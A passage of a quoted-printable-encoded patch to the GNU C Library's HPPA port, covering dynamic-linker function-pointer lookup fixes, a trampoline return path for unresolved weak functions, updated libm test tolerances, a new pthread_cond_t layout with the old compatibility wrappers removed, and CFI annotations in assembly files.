-  len =3D ((strtab - (char *) symtab)
+  /* Determine the end of the dynamic symbol table using the hash.  */
+  if (map->l_info[DT_HASH] !=3D NULL)
+    symtabend =3D (symtab + ((Elf_Symndx *) D_PTR (map, =
l_info[DT_HASH]))[1]);
+  else
+  /* There is no direct way to determine the number of symbols in the
+     dynamic symbol table and no hash table is present.  The ELF
+     binary is ill-formed but what shall we do?  Use the beginning of
+     the string table which generally follows the symbol table.  */
+    symtabend =3D (const ElfW(Sym) *) strtab;
+
+  len =3D (((char *) symtabend - (char *) symtab)
 	 / map->l_info[DT_SYMENT]->d_un.d_val);
-  size =3D ((len * sizeof (fptr_table[0]) + GLRO(dl_pagesize) - 1)
-	  & -GLRO(dl_pagesize));
-  /* XXX We don't support here in the moment systems without MAP_ANON.
-     There probably are none for IA-64.  In case this is proven wrong
-     we will have to open /dev/null here and use the file descriptor
-     instead of the hard-coded -1.  */
+  size =3D ALIGN_UP (len * sizeof (fptr_table[0]), GLRO(dl_pagesize));
+
+  /* We don't support systems without MAP_ANON.  We avoid using malloc
+     because this might get called before malloc is setup.  */
   fptr_table =3D __mmap (NULL, size,
 		       PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE,
 		       -1, 0);
@@ -331,22 +337,45 @@ elf_machine_resolve (void)
   return addr;
 }
=20
+static inline int
+_dl_read_access_allowed (unsigned int *addr)
+{
+  int result;
+
+  asm ("proberi	(%1),3,%0" : "=3Dr" (result) : "r" (addr) : );
+
+  return result;
+}
+
 ElfW(Addr)
 _dl_lookup_address (const void *address)
 {
   ElfW(Addr) addr =3D (ElfW(Addr)) address;
   unsigned int *desc, *gptr;
=20
-  /* Check for special cases.  */
-  if ((int) addr =3D=3D -1
-      || (unsigned int) addr < 4096
-      || !((unsigned int) addr & 2))
+  /* Return ADDR if the least-significant two bits of ADDR are not =
consistent
+     with ADDR being a linker defined function pointer.  The normal =
value for
+     a code address in a backtrace is 3.  */
+  if (((unsigned int) addr & 3) !=3D 2)
+    return addr;
+
+  /* Handle special case where ADDR points to page 0.  */
+  if ((unsigned int) addr < 4096)
     return addr;
=20
   /* Clear least-significant two bits from descriptor address.  */
   desc =3D (unsigned int *) ((unsigned int) addr & ~3);
+  if (!_dl_read_access_allowed (desc))
+    return addr;
=20
-  /* Check if descriptor requires resolution.  The following trampoline =
is
+  /* Load first word of candidate descriptor.  It should be a pointer
+     with word alignment and point to memory that can be read.  */
+  gptr =3D (unsigned int *) desc[0];
+  if (((unsigned int) gptr & 3) !=3D 0
+      || !_dl_read_access_allowed (gptr))
+    return addr;
+
+  /* See if descriptor requires resolution.  The following trampoline =
is
      used in each global offset table for function resolution:
=20
 		ldw 0(r20),r22
@@ -358,7 +387,6 @@ _dl_lookup_address (const void *address)
 		.word "_dl_runtime_resolve ltp"
      got:	.word _DYNAMIC
 		.word "struct link map address" */
-  gptr =3D (unsigned int *) desc[0];
   if (gptr[0] =3D=3D 0xea9f1fdd			/* b,l .-12,r20  =
   */
       && gptr[1] =3D=3D 0xd6801c1e			/* depwi =
0,31,2,r20 */
       && (ElfW(Addr)) gptr[2] =3D=3D elf_machine_resolve ())
diff --git a/sysdeps/hppa/dl-trampoline.S b/sysdeps/hppa/dl-trampoline.S
index 856339bffe..f1294a931f 100644
--- a/sysdeps/hppa/dl-trampoline.S
+++ b/sysdeps/hppa/dl-trampoline.S
@@ -82,6 +82,11 @@ _dl_runtime_resolve:
 	bl	_dl_fixup,%rp
 	copy	%r21,%r19		/* set fixup func ltp */
=20
+	/* Sometimes a final executable may attempt to call an undefined
+	   weak function (e.g., __gmon_start__).  Return if the function
+	   was not resolved by _dl_fixup */
+	comib,=3D	0,%r28,1f
+
 	/* Load up the returned func descriptor */
 	copy	%r28, %r22
 	copy	%r29, %r19
@@ -107,6 +112,13 @@ _dl_runtime_resolve:
 	/* Jump to new function, but return to previous function */
 	bv	%r0(%r22)
 	ldw	-20(%sp),%rp
+
+1:
+	/* Return to previous function */
+	ldw	-148(%sp),%rp
+	bv	%r0(%rp)
+	ldo	-128(%sp),%sp
+
         .EXIT
         .PROCEND
 	cfi_endproc
diff --git a/sysdeps/hppa/fpu/libm-test-ulps =
b/sysdeps/hppa/fpu/libm-test-ulps
index b5c8e7ccde..6e2058391d 100644
--- a/sysdeps/hppa/fpu/libm-test-ulps
+++ b/sysdeps/hppa/fpu/libm-test-ulps
@@ -184,15 +184,15 @@ idouble: 1
 ifloat: 2
=20
 Function: Imaginary part of "cacos":
-double: 1
+double: 2
 float: 2
-idouble: 1
+idouble: 2
 ifloat: 2
=20
 Function: Real part of "cacos_downward":
-double: 2
+double: 3
 float: 2
-idouble: 2
+idouble: 3
 ifloat: 2
=20
 Function: Imaginary part of "cacos_downward":
@@ -202,9 +202,9 @@ idouble: 5
 ifloat: 3
=20
 Function: Real part of "cacos_towardzero":
-double: 2
+double: 3
 float: 2
-idouble: 2
+idouble: 3
 ifloat: 2
=20
 Function: Imaginary part of "cacos_towardzero":
@@ -220,15 +220,15 @@ idouble: 2
 ifloat: 2
=20
 Function: Imaginary part of "cacos_upward":
-double: 4
-float: 4
-idouble: 4
-ifloat: 4
+double: 5
+float: 7
+idouble: 5
+ifloat: 7
=20
 Function: Real part of "cacosh":
-double: 1
+double: 2
 float: 2
-idouble: 1
+idouble: 2
 ifloat: 2
=20
 Function: Imaginary part of "cacosh":
@@ -244,10 +244,10 @@ idouble: 5
 ifloat: 3
=20
 Function: Imaginary part of "cacosh_downward":
-double: 2
-float: 2
-idouble: 2
-ifloat: 2
+double: 3
+float: 3
+idouble: 3
+ifloat: 3
=20
 Function: Real part of "cacosh_towardzero":
 double: 5
@@ -256,9 +256,9 @@ idouble: 5
 ifloat: 3
=20
 Function: Imaginary part of "cacosh_towardzero":
-double: 2
+double: 3
 float: 2
-idouble: 2
+idouble: 3
 ifloat: 2
=20
 Function: Real part of "cacosh_upward":
@@ -268,9 +268,9 @@ idouble: 4
 ifloat: 4
=20
 Function: Imaginary part of "cacosh_upward":
-double: 2
+double: 3
 float: 2
-idouble: 2
+idouble: 3
 ifloat: 2
=20
 Function: "carg":
@@ -304,16 +304,16 @@ ildouble: 1
 ldouble: 1
=20
 Function: Imaginary part of "casin":
-double: 1
+double: 2
 float: 2
-idouble: 1
+idouble: 2
 ifloat: 2
=20
 Function: Real part of "casin_downward":
 double: 3
-float: 1
+float: 2
 idouble: 3
-ifloat: 1
+ifloat: 2
=20
 Function: Imaginary part of "casin_downward":
 double: 5
@@ -334,16 +334,16 @@ idouble: 5
 ifloat: 3
=20
 Function: Real part of "casin_upward":
-double: 2
-float: 1
-idouble: 2
-ifloat: 1
+double: 3
+float: 2
+idouble: 3
+ifloat: 2
=20
 Function: Imaginary part of "casin_upward":
-double: 4
-float: 4
-idouble: 4
-ifloat: 4
+double: 5
+float: 7
+idouble: 5
+ifloat: 7
=20
 Function: Real part of "casinh":
 double: 5
@@ -369,9 +369,9 @@ ifloat: 3
=20
 Function: Imaginary part of "casinh_downward":
 double: 3
-float: 1
+float: 2
 idouble: 3
-ifloat: 1
+ifloat: 2
=20
 Function: Real part of "casinh_towardzero":
 double: 5
@@ -386,19 +386,21 @@ idouble: 3
 ifloat: 1
=20
 Function: Real part of "casinh_upward":
-double: 4
-float: 4
-idouble: 4
-ifloat: 4
+double: 5
+float: 7
+idouble: 5
+ifloat: 7
=20
 Function: Imaginary part of "casinh_upward":
-double: 2
+double: 3
 float: 2
-idouble: 2
+idouble: 3
 ifloat: 2
=20
 Function: Real part of "catan":
+double: 1
 float: 1
+idouble: 1
 ifloat: 1
=20
 Function: Imaginary part of "catan":
@@ -411,9 +413,9 @@ ldouble: 1
=20
 Function: Real part of "catan_downward":
 double: 1
-float: 1
+float: 2
 idouble: 1
-ifloat: 1
+ifloat: 2
=20
 Function: Imaginary part of "catan_downward":
 double: 2
@@ -423,15 +425,15 @@ ifloat: 2
=20
 Function: Real part of "catan_towardzero":
 double: 1
-float: 1
+float: 2
 idouble: 1
-ifloat: 1
+ifloat: 2
=20
 Function: Imaginary part of "catan_towardzero":
 double: 2
-float: 1
+float: 2
 idouble: 2
-ifloat: 1
+ifloat: 2
=20
 Function: Real part of "catan_upward":
 double: 1
@@ -454,7 +456,9 @@ ildouble: 4
 ldouble: 4
=20
 Function: Imaginary part of "catanh":
+double: 1
 float: 1
+idouble: 1
 ifloat: 1
=20
 Function: Real part of "catanh_downward":
@@ -471,9 +475,9 @@ ifloat: 2
=20
 Function: Real part of "catanh_towardzero":
 double: 2
-float: 1
+float: 2
 idouble: 2
-ifloat: 1
+ifloat: 2
=20
 Function: Imaginary part of "catanh_towardzero":
 double: 1
@@ -483,9 +487,9 @@ ifloat: 2
=20
 Function: Real part of "catanh_upward":
 double: 4
-float: 3
+float: 4
 idouble: 4
-ifloat: 3
+ifloat: 4
=20
 Function: Imaginary part of "catanh_upward":
 double: 1
diff --git a/sysdeps/hppa/nptl/bits/pthreadtypes.h =
b/sysdeps/hppa/nptl/bits/pthreadtypes.h
index e37111a2f3..2f17318121 100644
--- a/sysdeps/hppa/nptl/bits/pthreadtypes.h
+++ b/sysdeps/hppa/nptl/bits/pthreadtypes.h
@@ -103,40 +103,34 @@ typedef union
   long int __align;
 } pthread_mutexattr_t;
=20
-
-/* Data structure for conditional variable handling.  The structure of
-   the attribute type is not exposed on purpose. However, this =
structure
-   is exposed via PTHREAD_COND_INITIALIZER, and because of this, the
-   Linuxthreads version sets the first four ints to one. In the NPTL
-   version we must check, in every function using pthread_cond_t,
-   for the static Linuxthreads initializer and clear the appropriate
-   words. */
+/* Data structure for conditional variable handling. */
 typedef union
 {
   struct
   {
-    /* In the old Linuxthreads pthread_cond_t, this is the
-       start of the 4-word lock structure, the next four words
-       are set all to 1 by the Linuxthreads
-       PTHREAD_COND_INITIALIZER.  */
-    int __lock __attribute__ ((__aligned__(16)));
-    /* Tracks the initialization of this structure:
-       0  initialized with NPTL PTHREAD_COND_INITIALIZER.
-       1  initialized with Linuxthreads PTHREAD_COND_INITIALIZER.
-       2  initialization in progress.  */
-    int __initializer;
-    unsigned int __futex;
-    void *__mutex;
-    /* In the old Linuxthreads this would have been the start
-       of the pthread_fastlock status word.  */
-    __extension__ unsigned long long int __total_seq;
-    __extension__ unsigned long long int __wakeup_seq;
-    __extension__ unsigned long long int __woken_seq;
-    unsigned int __nwaiters;
-    unsigned int __broadcast_seq;
-    /* The NPTL pthread_cond_t is exactly the same size as
-       the Linuxthreads version, there are no words to spare.  */
+    __extension__ union
+    {
+      __extension__ unsigned long long int __wseq;
+      struct {
+	unsigned int __low;
+	unsigned int __high;
+      } __wseq32;
+    };
+    __extension__ union
+    {
+      __extension__ unsigned long long int __g1_start;
+      struct {
+	unsigned int __low;
+        unsigned int __high;
+      } __g1_start32;
+    };
+    unsigned int __g_refs[2];
+    unsigned int __g_size[2];
+    unsigned int __g1_orig_size;
+    unsigned int __wrefs;
+    unsigned int __g_signals[2];
   } __data;
+  int __unused_lock __attribute__ ((__aligned__(16)));
   char __size[__SIZEOF_PTHREAD_COND_T];
   __extension__ long long int __align;
 } pthread_cond_t;
diff --git a/sysdeps/unix/sysv/linux/hppa/bits/shm.h =
b/sysdeps/unix/sysv/linux/hppa/bits/shm.h
index 794f0ab2da..52632d0dea 100644
--- a/sysdeps/unix/sysv/linux/hppa/bits/shm.h
+++ b/sysdeps/unix/sysv/linux/hppa/bits/shm.h
@@ -37,7 +37,7 @@
 #define SHM_UNLOCK	12		/* unlock segment (root only) */
=20
 /* Segment low boundary address multiple.  */
-#define SHMLBA 0x00400000		/* address needs to be 4 Mb =
aligned */
+#define SHMLBA		(__getpagesize ())
=20
 /* Type to count number of attaches.  */
 typedef unsigned long int shmatt_t;
diff --git a/sysdeps/unix/sysv/linux/hppa/clone.S =
b/sysdeps/unix/sysv/linux/hppa/clone.S
index d36b302199..46ee6972d3 100644
--- a/sysdeps/unix/sysv/linux/hppa/clone.S
+++ b/sysdeps/unix/sysv/linux/hppa/clone.S
@@ -64,9 +64,12 @@
 ENTRY(__clone)
 	/* Prologue */
 	stwm	%r4, 64(%sp)
+	.cfi_def_cfa_offset -64
+	.cfi_offset 4, 0
 	stw	%sp, -4(%sp)
 #ifdef PIC
 	stw	%r19, -32(%sp)
+	.cfi_offset 19, 32
 #endif
=20
 	/* Sanity check arguments.  */
diff --git a/sysdeps/unix/sysv/linux/hppa/getcontext.S =
b/sysdeps/unix/sysv/linux/hppa/getcontext.S
index 6f52f2149d..68a74a0b7e 100644
--- a/sysdeps/unix/sysv/linux/hppa/getcontext.S
+++ b/sysdeps/unix/sysv/linux/hppa/getcontext.S
@@ -130,8 +130,11 @@ ENTRY(__getcontext)
=20
 	/* Prologue */
 	stwm	%r4, 64(%sp)
+	.cfi_def_cfa_offset -64
+	.cfi_offset 4, 0
 #ifdef PIC
 	stw	%r19, -32(%sp)
+	.cfi_offset 19, 32
 #endif
=20
 	/* Set up the trampoline registers.
@@ -156,7 +159,7 @@ ENTRY(__getcontext)
 	/* Epilogue */
 	ldw	-84(%sp), %r2
 #ifdef PIC
-	ldw	-96(%sp), %r19
+	ldw	-32(%sp), %r19
 #endif
 	bv	%r0(%r2)
 	ldwm	-64(%sp), %r4
diff --git a/sysdeps/unix/sysv/linux/hppa/internaltypes.h =
b/sysdeps/unix/sysv/linux/hppa/internaltypes.h
deleted file mode 100644
index d6496579da..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/internaltypes.h
+++ /dev/null
@@ -1,84 +0,0 @@
-#include_next <internaltypes.h>
-#ifndef _INTERNAL_TYPES_H_HPPA_
-#define _INTERNAL_TYPES_H_HPPA_ 1
-#include <atomic.h>
-
-/* In GLIBC 2.10 HPPA switched from Linuxthreads to NPTL, and in order
-to maintain ABI compatibility with pthread_cond_t, some care had to be
-taken.
-
-The NPTL pthread_cond_t grew in size. When HPPA switched to NPTL, we
-dropped the use of ldcw, and switched to the kernel helper routine for
-compare-and-swap.  This allowed HPPA to use the 4-word 16-byte aligned
-lock words, and alignment words to store the additional pthread_cond_t
-data. Once organized properly the new NPTL pthread_cond_t was 1 word
-smaller than the Linuxthreads version.
-
-However, we were faced with the case that users may have initialized =
the
-pthread_cond_t with PTHREAD_COND_INITIALIZER. In this case, the first
-four words were set to one, and must be cleared before any NPTL code
-used these words.
-
-We didn't want to use LDCW, because it continues to be a source of bugs
-when applications memset pthread_cond_t to all zeroes by accident. This
-works on all other architectures where lock words are unlocked at zero.
-Remember that because of the semantics of LDCW, a locked word is set to
-zero, and an unlocked word is set to 1.
-
-Instead we used atomic_compare_and_exchange_val_acq, but we couldn't =
use
-this on any of the pthread_cond_t words, otherwise it might interfere
-with the current operation of the structure. To solve this problem we
-used the left over word.
-
-If the stucture was initialized by a legacy Linuxthread
-PTHREAD_COND_INITIALIZER it contained a 1, and this indicates that the
-structure requires zeroing for NPTL. The first thread to come upon a
-pthread_cond_t with a 1 in the __initializer field, will
-compare-and-swap the value, placing a 2 there which will cause all =
other
-threads using the same pthread_cond_t to wait for the completion of the
-initialization. Lastly, we use a store (with memory barrier) to change
-__initializer from 2 to 0. Note that the store is strongly ordered, but
-we use the PA 1.1 compatible form which is ",ma" with zero offset.
-
-In the future, when the application is recompiled with NPTL
-PTHREAD_COND_INITIALIZER it will be a quick compare-and-swap, which
-fails because __initializer is zero, and the structure will be used as
-is correctly.  */
-
-#define cond_compat_clear(var) \
-({									=
\
-  int tmp =3D 0;								=
\
-  var->__data.__wseq =3D 0;						=
\
-  var->__data.__signals_sent =3D 0;					=
\
-  var->__data.__confirmed =3D 0;						=
\
-  var->__data.__generation =3D 0;						=
\
-  var->__data.__mutex =3D NULL;						=
\
-  var->__data.__quiescence_waiters =3D 0;					=
\
-  var->__data.__clockid =3D 0;						=
\
-  /* Clear __initializer last, to indicate initialization is done.  */	=
\
-  /* This synchronizes-with the acquire load below.  */			=
\
-  atomic_store_release (&var->__data.__initializer, 0);			=
\
-})
-
-#define cond_compat_check_and_clear(var) \
-({								\
-  int v;							\
-  int *value =3D &var->__data.__initializer;			\
-  /* This synchronizes-with the release store above.  */	\
-  while ((v =3D atomic_load_acquire (value)) !=3D 0)		\
-    {								\
-      if (v =3D=3D 1						\
-	  /* Relaxed MO is fine; it only matters who's first.  */        =
\
-	  && atomic_compare_exchange_acquire_weak_relaxed (value, 1, 2)) =
\
-	{							\
-	  /* We're first; initialize structure.  */		\
-	  cond_compat_clear (var);				\
-	  break;						\
-	}							\
-      else							\
-	/* Yield before we re-check initialization status.  */	\
-	sched_yield ();						\
-    }								\
-})
-
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pt-vfork.S =
b/sysdeps/unix/sysv/linux/hppa/pt-vfork.S
index fc4573c86b..8b7d7df2fe 100644
--- a/sysdeps/unix/sysv/linux/hppa/pt-vfork.S
+++ b/sysdeps/unix/sysv/linux/hppa/pt-vfork.S
@@ -58,7 +58,10 @@ ENTRY(__vfork)
 	   that there is no child now, so it's safe to create
 	   a frame.  */
 	stw	%rp, -20(%sp)
+	.cfi_offset 2, -20
 	stwm	%r3, 64(%sp)
+	.cfi_def_cfa_offset -64
+	.cfi_offset 3, 0
 	stw	%sp, -4(%sp)
=20
 	sub	%r0,%ret0,%r3
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread.h =
b/sysdeps/unix/sysv/linux/hppa/pthread.h
index ac617201d2..d3b960edd4 100644
--- a/sysdeps/unix/sysv/linux/hppa/pthread.h
+++ b/sysdeps/unix/sysv/linux/hppa/pthread.h
@@ -185,7 +185,7 @@ enum
=20
=20
 /* Conditional variable handling.  */
-#define PTHREAD_COND_INITIALIZER { { 0, 0, 0, 0, 0, (void *) 0, 0, 0 } =
}
+#define PTHREAD_COND_INITIALIZER { { {0}, {0}, {0, 0}, {0, 0}, 0, 0, =
{0, 0} } }
=20
=20
 /* Cleanup buffers */
@@ -1165,12 +1165,6 @@ __END_DECLS
 #ifndef _PTHREAD_H_HPPA_
 #define _PTHREAD_H_HPPA_ 1
=20
-/* The pthread_cond_t initializer is compatible only with NPTL. We do =
not
-   want to be forwards compatible, we eventually want to drop the code
-   that has to clear the old LT initializer.  */
-#undef PTHREAD_COND_INITIALIZER
-#define PTHREAD_COND_INITIALIZER { { 0, 0, 0, (void *) 0, 0, 0, 0, 0, 0 =
} }
-
 /* The pthread_mutex_t and pthread_rwlock_t initializers are compatible
    only with NPTL. NPTL assumes pthread_rwlock_t is all zero.  */
 #undef PTHREAD_MUTEX_INITIALIZER
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_broadcast.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_broadcast.c
deleted file mode 100644
index a6f9f5d433..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_broadcast.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_broadcast.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_broadcast (pthread_cond_t *cond)
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_broadcast_internal (cond);
-}
-versioned_symbol (libpthread, __pthread_cond_broadcast, =
pthread_cond_broadcast,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_broadcast
-# define __pthread_cond_broadcast __pthread_cond_broadcast_internal
-# include_next <pthread_cond_broadcast.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_destroy.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_destroy.c
deleted file mode 100644
index 49af087bb4..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_destroy.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_destroy.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_destroy (pthread_cond_t *cond)
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_destroy_internal (cond);
-}
-versioned_symbol (libpthread, __pthread_cond_destroy, =
pthread_cond_destroy,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_destroy
-# define __pthread_cond_destroy __pthread_cond_destroy_internal
-# include_next <pthread_cond_destroy.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_init.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_init.c
deleted file mode 100644
index ccb3de07ff..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_init.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_init.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_init (pthread_cond_t *cond, const pthread_condattr_t =
*cond_attr)
-{
-  cond_compat_clear (cond);
-  return __pthread_cond_init_internal (cond, cond_attr);
-}
-versioned_symbol (libpthread, __pthread_cond_init, pthread_cond_init,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_init
-# define __pthread_cond_init __pthread_cond_init_internal
-# include_next <pthread_cond_init.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_signal.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_signal.c
deleted file mode 100644
index 2bf32af933..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_signal.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_signal.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_signal (pthread_cond_t *cond)
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_signal_internal (cond);
-}
-versioned_symbol (libpthread, __pthread_cond_signal, =
pthread_cond_signal,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_signal
-# define __pthread_cond_signal __pthread_cond_signal_internal
-# include_next <pthread_cond_signal.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_wait.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_wait.c
deleted file mode 100644
index 1cc2fc15d4..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_wait.c
+++ /dev/null
@@ -1,53 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_wait.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_wait (pthread_cond_t *cond, pthread_mutex_t *mutex)
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_wait_internal (cond, mutex);
-}
-versioned_symbol (libpthread, __pthread_cond_wait, pthread_cond_wait,
-                  GLIBC_2_3_2);
-int
-__pthread_cond_timedwait (cond, mutex, abstime)
-     pthread_cond_t *cond;
-     pthread_mutex_t *mutex;
-     const struct timespec *abstime;
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_timedwait_internal (cond, mutex, abstime);
-}
-versioned_symbol (libpthread, __pthread_cond_timedwait, =
pthread_cond_timedwait,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_wait
-# define __pthread_cond_wait __pthread_cond_wait_internal
-# undef __pthread_cond_timedwait
-# define __pthread_cond_timedwait __pthread_cond_timedwait_internal
-# include_next <pthread_cond_wait.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/setcontext.S =
b/sysdeps/unix/sysv/linux/hppa/setcontext.S
index 3f4da7938f..92cb204f8d 100644
--- a/sysdeps/unix/sysv/linux/hppa/setcontext.S
+++ b/sysdeps/unix/sysv/linux/hppa/setcontext.S
@@ -26,8 +26,11 @@
 ENTRY(__setcontext)
 	/* Prologue */
 	stwm	%r3, 64(%sp)
+	.cfi_def_cfa_offset -64
+	.cfi_offset 3, 0
 #ifdef PIC
 	stw	%r19, -32(%sp)
+	.cfi_offset 19, 32
 #endif
=20
 	/* Save ucp.  */
@@ -141,7 +144,7 @@ ENTRY(__setcontext)
=20
 	/* No further context available. Exit now.  */
 	bl	HIDDEN_JUMPTARGET(exit), %r2
-	ldi	-1, %r26
+	ldi	0, %r26
=20
=20
 .Lerror:
diff --git a/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h =
b/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h
index 5ea297267f..8b7f2b2095 100644
--- a/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h
+++ b/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h
@@ -62,12 +62,11 @@
 	ENTRY (__##syscall_name##_nocancel)				=
\
 	DOARGS_##args					ASM_LINE_SEP	=
\
 	stwm TREG, 64(%sp)				ASM_LINE_SEP	=
\
+	.cfi_def_cfa_offset -64				ASM_LINE_SEP	=
\
 	.cfi_offset TREG, 0				ASM_LINE_SEP	=
\
-	.cfi_adjust_cfa_offset 64			ASM_LINE_SEP	=
\
 	stw %sp, -4(%sp)				ASM_LINE_SEP	=
\
-	.cfi_offset 30, -4				ASM_LINE_SEP	=
\
 	stw %r19, -32(%sp)				ASM_LINE_SEP	=
\
-	.cfi_offset 19, -32				ASM_LINE_SEP	=
\
+	.cfi_offset 19, 32				ASM_LINE_SEP	=
\
 	/* Save r19 */					ASM_LINE_SEP	=
\
 	SAVE_PIC(TREG)					ASM_LINE_SEP	=
\
 	/* Do syscall, delay loads # */			ASM_LINE_SEP	=
\
@@ -91,21 +90,19 @@ L(pre_nc_end):						=
ASM_LINE_SEP	\
 	/* No need to LOAD_PIC */			ASM_LINE_SEP	=
\
 	/* Undo frame */				ASM_LINE_SEP	=
\
 	ldwm -64(%sp),TREG				ASM_LINE_SEP	=
\
